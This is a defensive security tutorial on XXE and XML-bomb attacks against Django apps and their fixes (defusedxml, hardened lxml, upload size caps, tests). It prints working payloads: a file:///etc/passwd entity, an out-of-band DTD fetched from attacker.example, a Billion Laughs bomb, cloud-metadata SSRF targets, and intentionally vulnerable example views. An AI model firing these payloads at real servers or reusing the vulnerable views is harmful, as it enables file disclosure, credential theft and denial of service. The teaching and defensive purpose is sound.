XXE and XML Bombs: Why You Should Think Twice Before Parsing XML in Python

XXE and XML Bombs: Why You Should Think Twice Before Parsing XML in Python

Django Security Series — Post 5 | Series I: Injection Attacks
OWASP A03:2021 — Injection | Reading time: ~15 min

The first four posts of this series walked the same root cause — confusing data with code — through four different interpreters. Post 1 carried it into the SQL database, Post 2 into the browser's HTML parser, Post 3 into the template engine, and Post 4 into the operating-system shell. Post 5 closes Series I at the last interpreter on the list, and the one Django developers most often forget is an interpreter at all: the XML parser. Parsing XML looks passive — you hand a document to a library and get a tree of elements back — but a conforming XML parser is a small programming environment, and its entity-resolution feature will happily read files, open network connections, and allocate gigabytes of memory on the instructions embedded in the document it is parsing.

This post covers two attacks that share one enabler: an XML parser left at its unsafe defaults. The first is XXE — XML External Entity injection — where a crafted document declares an external entity that makes the server read a local file (file:///etc/passwd), reach an internal-only service, or hit the cloud metadata endpoint and hand back IAM credentials. The second is the XML bomb, of which Billion Laughs is the archetype — a handful of nested recursive entities that expand a one-kilobyte document into gigabytes in memory, taking the process down. Both fire the moment untrusted XML meets a parser that resolves entities or expands the internal DTD (Document Type Definition).

The reason this attack surface persists in Django applications is that XML never really left. JSON dominates modern REST APIs, but XML sits underneath a surprising amount of what a web app still ingests: SOAP integrations with payment gateways and enterprise partners, RSS and Atom feed readers, partner webhooks, and — least obvious of all — the office and image formats users upload every day. A .docx, .xlsx, or .pptx is a ZIP archive full of XML; an .svg is XML; many .pdf toolchains touch XML. Every one of those is a document your code may hand to a parser, and every parser is a decision about whether to trust what the document tells it to do.

There is a specific Django-and-Python trap at the centre of this post, and it is the same "you thought you were covered" shape that made SSTI (Post 3) so dangerous: Python's XML libraries are not safe by default. Developers reach for the standard library — xml.etree.ElementTree, xml.dom.minidom, xml.sax — assume that "stdlib means safe," and never learn that the official Python documentation itself warns, in bold, that these modules "are not secure against maliciously constructed data." The fast third-party parser most Django projects actually use, lxml, resolves entities by default and is the classic file-read XXE vector. The fix — defusedxml — exists precisely because the defaults are wrong, and almost nobody installs it until after an incident.

In this post we look at how XML entities work at the parser level, how the same feature produces both file disclosure and a denial-of-service bomb, exactly where a Django app is reachable through this surface, and how to make every XML parse in your project safe with a one-line library swap plus a small set of hardening rules.


The Attack: What It Is and How It Works

XML is more than a data format — the specification includes a Document Type Definition (DTD), a small grammar that a document can carry inline (the internal subset) or reference externally. The DTD lets a document declare entities. An entity is XML's built-in substitution mechanism — think of it as a named placeholder, much like a constant or a macro: you define it once, and wherever the parser later sees a reference &name;, it replaces that reference with the entity's value before it hands you the parsed tree. Entities exist for two perfectly legitimate reasons. The first is escaping — inserting characters that would otherwise break the markup: you write &lt; so the parser reads a literal < as text instead of the start of a tag. The second is reuse — defining a boilerplate string once (a company name, a legal notice, a repeated URL) and referencing it many times so a single edit updates them all. You have already met the escaping kind — &lt;, &gt;, &amp;, &apos;, &quot; are the five predefined XML entities, standing in for <, >, &, ', and ". The danger is that a document can define its own entities, and those definitions can point outside the document.

There are three kinds of custom entity, and the security story lives in the second and third:

  • Internal entity — a literal string substitution: <!ENTITY company "ACME Corp">. Benign on its own, but the engine behind Billion Laughs.
  • External general entity — a substitution whose value is fetched from a URI: <!ENTITY xxe SYSTEM "file:///etc/passwd">. When the parser resolves &xxe;, it reads that URI and inlines the result. This is the heart of XXE.
  • External parameter entity — the same idea, referenced with %name; inside the DTD itself, used to build blind/out-of-band exfiltration chains that work even when the response never echoes the parsed data.

The classic XXE — reading a local file

A parser that resolves external entities treats this document as an instruction to read /etc/passwd and place its contents where &xxe; appears:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

If the application parses this and reflects the resulting <data> value anywhere — an error message, a confirmation page, a stored record the attacker can read back — the contents of /etc/passwd come with it. The same SYSTEM identifier accepts other schemes, and that is what turns a file-read into something far worse:

Payload target What the parser does Impact
file:///etc/passwd Reads a local file, inlines its contents Local file disclosure — source, settings.py, SECRET_KEY
http://169.254.169.254/latest/meta-data/ Makes an HTTP request to the cloud metadata endpoint SSRF → IAM credential theft on AWS/GCP/Azure
http://internal-service:8080/ Reaches a service only visible from inside the network SSRF → internal reconnaissance and pivoting
expect://id / php:// (PHP stacks) Invokes a stream wrapper Command execution on vulnerable configurations

The http:// variant is the one that scales from "annoying file leak" to "company-ending breach": the parser becomes a proxy the attacker steers, and the cloud metadata endpoint at 169.254.169.254 will, on a misconfigured instance, return the temporary credentials of the server's IAM role. This is the same SSRF mechanism covered in depth in a future post in this series — XXE is simply one of the ways to trigger it.

Blind / out-of-band XXE

When the application parses the XML but never returns the result to the attacker — common for upload handlers and webhooks — the classic &xxe; reflection does not work. Attackers resolve this with parameter entities and an attacker-hosted external DTD that exfiltrates the file's contents through a URL:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<data>probe</data>

The external evil.dtd defines a further entity that appends %file; to a URL back to the attacker's server, so the file contents leave the network as part of a request the attacker observes in their own logs — no reflection required. This is the XML analogue of the blind/out-of-band techniques seen in blind SQL Injection (Post 1) and blind command injection (Post 4).

The XML bomb — Billion Laughs

The second attack uses only internal entities, so it needs no external access at all — it is pure CPU and memory exhaustion. Each entity is defined in terms of the one below it, ten references at a time:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

The expansion is multiplicative, and that is the whole trick. Read it from the bottom up: lol is the literal string "lol"; &lol1; is ten lols; &lol2; is ten &lol1;s — a hundred lols; &lol3; is ten &lol2;s — a thousand; and every level up multiplies the running total by another ten. So when the parser reaches the single &lol9; in the document body, it must build ten &lol8;, each of which is ten &lol7;, all the way down to the literal string — 10^9 (a billion) copies of "lol", roughly 3 GB of text, out of a source document well under one kilobyte on the wire. That asymmetry — a tiny document, a giant in-memory expansion — is the entire attack. The parser dutifully allocates every byte and the worker process is killed by the OS out-of-memory reaper, taking concurrent requests down with it. A variant, the quadratic blowup, uses a single large entity referenced thousands of times to achieve the same effect while evading naive nesting-depth checks. This is a denial-of-service attack — the same application-layer resource-exhaustion class covered in a future post in this series — delivered through the XML parser.

How Attackers Exploit It

The realistic Django entry point is any endpoint or task that accepts XML the attacker controls. Consider an app that ingests a partner's product feed:

# INSECURE — parses an uploaded XML feed with lxml at its default settings
from lxml import etree
from django.http import HttpResponse

def import_feed(request):
    xml_bytes = request.FILES['feed'].read()
    root = etree.fromstring(xml_bytes)   # entities resolved by default
    name = root.findtext('.//productName')
    return HttpResponse(f"Imported: {name}")

An attacker uploads a feed whose productName is &xxe;, with the file:///etc/passwd entity declared in the DOCTYPE. lxml resolves the entity while parsing, the password file lands in name, and the confirmation response reflects it straight back. Swap the entity's SYSTEM target for http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the same endpoint leaks the instance's cloud credentials.

The relevant MITRE ATT&CK mappings are T1190 — Exploit Public-Facing Application for the initial access; T1552.005 — Unsecured Credentials: Cloud Instance Metadata API for the metadata-endpoint SSRF escalation; and T1499 — Endpoint Denial of Service for the Billion Laughs / XML-bomb variant. What makes XXE dangerous is exactly what makes it easy to miss in review: the vulnerable line is a routine parse() call that looks like passive data handling, not an obvious sink like subprocess or cursor.execute.


Real-World Incidents

Facebook XXE — Reginaldo Silva (2014)

In early 2014 the Brazilian security researcher Reginaldo Silva reported an XML External Entity vulnerability in Facebook's OpenID consumer endpoint. Facebook accepted an OpenID login request, fetched and parsed an XML document from the identity provider, and did so with a parser that resolved external entities — so Silva could make Facebook's servers read local files and, critically, make outbound requests from inside Facebook's network. He had previously found the identical class of bug in Google's infrastructure, and recognised that the XXE could be chained into full remote code execution through the internal services it could now reach. Facebook awarded him US$33,500 — at the time one of the largest single payouts its bug-bounty program had ever made — precisely because an XXE that can pivot to internal services and the file system is not a "read one file" bug but a foothold inside the perimeter.

The lesson for Django developers is the through-line of this whole post: the vulnerable code was not doing anything exotic — it was parsing an XML document received from an external party, the single most ordinary XML operation there is. The initial access maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application), and the escalation path — using the parser as an SSRF proxy to reach internal-only services — is exactly why XXE is rated so much higher than a simple information-disclosure flaw. A one-line switch to a parser that refuses DTDs and external entities would have closed the entire chain at the source.

Source: Reginaldo Silva — Remote Code Execution via XXE in Facebook


Django's Default Protections

The honest headline is the same as Post 4's: Django does not parse arbitrary XML for you, and it provides no automatic protection when your code does. A stock Django or Django REST Framework project handles requests as form-encoded data or JSON — there is no XML parser in the default request path, so a plain Django app has no XXE surface until a developer deliberately adds XML parsing. That is genuinely protective by omission, and it is worth stating plainly: if you never parse untrusted XML, you cannot be hit by XXE.

Two nuances complete the picture. First, Django's own XML serialization framework — the code behind loaddata/dumpdata fixtures — was hardened years ago to defend against entity-expansion attacks, so loading a fixture is not a concern. But that path handles your own trusted fixtures, not user input, and it tells you nothing about the parser you reach for when you parse a request body. Second, and this is the part that catches people: the protection or exposure lives entirely in the Python library you choose, and Django has no say in it.

  • lxml — the fast, popular C-based parser most Django projects install for real XML work — resolves internal entities by default, which makes the classic file:// XXE reachable out of the box. Network access is disabled by default, but local file disclosure and the Billion Laughs bomb are not.
  • xml.etree.ElementTree, xml.dom.minidom, xml.sax — the standard library — are, in the words of the official Python docs, "not secure against maliciously constructed data." Modern CPython's expat backend no longer fetches external entities by default, which blunts the file-read variant, but every one of these parsers is still vulnerable to the Billion Laughs / quadratic-blowup denial-of-service, and the docs' own recommendation is to install defusedxml.

The takeaway mirrors command injection: the moment your code calls etree.fromstring, minidom.parse, or a SOAP/feed library, you have stepped outside anything Django can protect, and the safety of that parse is entirely your responsibility.


Vulnerable Pattern: What NOT to Do

Pattern 1 — Parsing a request body with lxml at default settings

# INSECURE — lxml resolves entities by default → classic XXE file read
from lxml import etree
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse

@csrf_exempt
def webhook(request):
    root = etree.fromstring(request.body)   # DTD + entities honoured
    order_id = root.findtext('.//orderId')
    return JsonResponse({"received": order_id})

Attack payload — a POST body declaring <!ENTITY xxe SYSTEM "file:///etc/passwd"> and placing &xxe; inside <orderId> makes lxml inline the password file into order_id. Point the entity at http://169.254.169.254/… instead and the same handler exfiltrates cloud credentials.

Pattern 2 — Parsing an uploaded file with the standard library

# INSECURE — an uploaded SVG/XML is a Billion Laughs bomb waiting to detonate
import xml.etree.ElementTree as ET
from django.http import HttpResponse

def upload_diagram(request):
    svg = request.FILES['diagram']
    tree = ET.parse(svg)          # vulnerable to entity-expansion DoS
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

Attack payload — a sub-kilobyte SVG carrying the nested lol1…lol9 entities expands to gigabytes during ET.parse, and the worker is killed by the OS out-of-memory reaper. Because an SVG is "just an image," this endpoint rarely gets the scrutiny an obvious data-import endpoint would.

Pattern 3 — A SOAP / feed integration that trusts the remote document

# INSECURE — a partner's SOAP response parsed without hardening
from lxml import etree
import requests

def fetch_partner_status(order_ref):
    resp = requests.post("https://partner.example/soap", data=build_envelope(order_ref))
    doc = etree.fromstring(resp.content)   # remote XML, entities resolved
    return doc.findtext('.//status')

The mistake is assuming a "trusted partner" response is safe to parse loosely. A compromised or malicious upstream — or a machine-in-the-middle on an unauthenticated leg — returns a document whose entities read your server's files or bomb its memory. Trust in the sender is not trust in the bytes; the parser must be hardened regardless of source.


Secure Implementation: The Django Way

Rule 1 — Replace every XML parser with defusedxml

This is the single most important control, and it is very nearly a drop-in replacement. defusedxml is a small, well-maintained library that mirrors Python's XML modules one-for-one — defusedxml.ElementTree, defusedxml.minidom, defusedxml.sax, plus an lxml shim — exposing the same functions with the same signatures you already call. What changes is what those wrappers do before parsing: they turn the three dangerous features off by default — DTD processing, entity resolution, and external-resource loading. So when a hostile document declares a DOCTYPE or references a custom entity, the parser never reads a file, fetches a URL, or balloons in memory — it stops at once and raises an explicit exception (DTDForbidden, EntitiesForbidden, or ExternalReferenceForbidden) that you can catch and turn into a clean rejection. Legitimate documents parse exactly as before; malicious ones fail loudly instead of silently executing.

# SECURE — defusedxml refuses DTDs and entities; the API is otherwise identical
import defusedxml.ElementTree as ET
from django.http import HttpResponse
from defusedxml.common import EntitiesForbidden, DTDForbidden

def upload_diagram(request):
    try:
        tree = ET.parse(request.FILES['diagram'])
    except (EntitiesForbidden, DTDForbidden):
        return HttpResponse("Rejected: XML entities are not allowed", status=400)
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

pip install defusedxml, then change import xml.etree.ElementTree as ET to import defusedxml.ElementTree as ET (and from defusedxml.lxml import fromstring in place of lxml.etree.fromstring). A Billion Laughs document now raises EntitiesForbidden, and a file:// external entity raises DTDForbidden, instead of executing.

Rule 2 — If you must use lxml directly, harden the parser explicitly

Some libraries require a real lxml parser object. When defusedxml's shim is not an option, build the parser with entity resolution, DTD loading, and network access all turned off, and reject any DOCTYPE outright:

# SECURE — a locked-down lxml parser: no entities, no DTD, no network
from lxml import etree

_SAFE_PARSER = etree.XMLParser(
    resolve_entities=False,   # do not expand &entity; references
    no_network=True,          # block http(s) SYSTEM identifiers (SSRF)
    load_dtd=False,           # do not process the DTD
    dtd_validation=False,
    huge_tree=False,          # keep the built-in expansion/size limits on
)

def parse_partner_xml(raw_bytes):
    root = etree.fromstring(raw_bytes, parser=_SAFE_PARSER)
    # Defence in depth: reject any document that carried a DOCTYPE at all.
    if root.getroottree().docinfo.doctype:
        raise ValueError("DTD not permitted")
    return root

resolve_entities=False neutralises both the file-read and Billion Laughs vectors, no_network=True closes the SSRF-to-metadata escalation, and leaving huge_tree=False (the default) keeps lxml's internal guard against oversized expansion in place.

Rule 3 — Cap the size of anything you parse

Entity expansion and oversized documents are resource-exhaustion attacks, so bound the input before and during parsing. Django already gives you the first lever: DATA_UPLOAD_MAX_MEMORY_SIZE rejects request bodies over the limit before your view runs, and FILE_UPLOAD_MAX_MEMORY_SIZE governs how much of an upload is held in memory.

# settings.py — cap request bodies (default 2.5 MB); tune to your real payloads
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024        # 2 MB hard ceiling on POST bodies
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000                 # blunt multipart field-count floods

These limits are covered as a first-class DoS control in a future post in this series; here they are the backstop that ensures even a parser misconfiguration cannot be fed an arbitrarily large bomb.

Rule 4 — Prefer JSON, and treat XML as a deliberate exception

The most durable fix is architectural: if you control both ends of the contract, use JSON, which has no entities, no DTD, and no external-reference feature to abuse. Reserve XML parsing for the cases you genuinely cannot avoid — inbound SOAP, partner feeds in a fixed format, office/SVG uploads — and make each of those a conscious, hardened decision using Rules 1–3 rather than a reflexive etree.fromstring.

The invariant rule: never parse untrusted XML with a stock parser. Route every XML parse through defusedxml (or an explicitly hardened lxml parser), and cap the input size — no exceptions for "trusted" partners or "just an image" uploads.

XXE Prevention Checklist

Control What it covers
defusedxml in place of every stock parser The primary XXE and XML-bomb vector — DTDs and entity resolution are refused, raising DTDForbidden/EntitiesForbidden
Hardened lxml parser (resolve_entities=False, no_network=True, load_dtd=False) XXE where a real lxml object is required — file read, entity expansion, and SSRF-to-metadata all closed
Reject documents carrying a DOCTYPE Defence in depth — refuses the DTD an XXE payload depends on before any entity is processed
DATA_UPLOAD_MAX_MEMORY_SIZE / FILE_UPLOAD_MAX_MEMORY_SIZE The Billion Laughs / oversized-document DoS — bounds input before and during parsing
Prefer JSON where you control the contract Removes the attack surface entirely — no entities, no DTD, nothing to resolve
bandit in CI (flags xml.etree/lxml use, recommends defusedxml) Stops a new unsafe parser call site reaching production

Testing Your Defence

Unit Tests

# blog/tests.py
from django.test import TestCase

XXE_FILE_READ = b"""<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>"""

BILLION_LAUGHS = b"""<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>"""


class XXETests(TestCase):
    def test_external_entity_is_not_resolved(self):
        """A file:// entity must never appear in the response — the parser
        must refuse the DTD rather than inline /etc/passwd."""
        response = self.client.post(
            '/webhook/', data=XXE_FILE_READ, content_type='application/xml'
        )
        self.assertNotIn(b'root:', response.content)   # no passwd contents
        self.assertEqual(response.status_code, 400)    # rejected, not processed

    def test_entity_expansion_is_rejected(self):
        """A Billion Laughs document must be rejected, not expanded — the
        request must return quickly and never allocate the expansion."""
        response = self.client.post(
            '/webhook/', data=BILLION_LAUGHS, content_type='application/xml'
        )
        self.assertEqual(response.status_code, 400)

Manual Verification

# File-read probe — the response must NOT contain any /etc/passwd content.
curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-file-read.xml

# Bomb probe — the request must fail fast (400/reject), not hang or spike memory.
time curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @billion-laughs.xml

Static Analysis in CI

Bandit flags the use of the unsafe standard-library XML parsers (rules B313–B320) and recommends defusedxml. Add it to the pipeline so no new unhardened parse can merge:

pip install bandit defusedxml
# Flags xml.etree / minidom / sax / lxml parsing without defusedxml
bandit -r blog/ blogtech/

# A quick grep is a useful pre-commit backstop
grep -rn "etree.fromstring\|minidom.parse\|xml.sax\|lxml" blog/ blogtech/

Post 5 closes Series I. Across five posts the lesson never changed — an interpreter cannot tell your intent from an attacker's input unless you keep data and code in separate channels — but the interpreters did: the SQL engine, the browser, the template engine, the OS shell, and now the XML parser. The habit to carry forward is a new code-review reflex to sit beside "never build SQL with an f-string" and "never pass shell=True untrusted input": never parse untrusted XML with a stock parser — route every parse through defusedxml and cap the input size, treating a bare etree.fromstring on request data as a merge-blocking finding.

Series II opens the next front: Broken Access Control. Post 6 begins with IDOR — Insecure Direct Object Reference — where the app authenticates who you are perfectly but never checks what you are allowed to touch, and a single incremented ID in a URL hands one user another user's data. Injection was about data crossing into code; access control is about identity crossing a boundary it was never authorised to cross.

Further Reading

Next in this series → Post 6: Broken Access Control and IDOR: When Logging In Is Not the Same as Being Allowed

← Back to all posts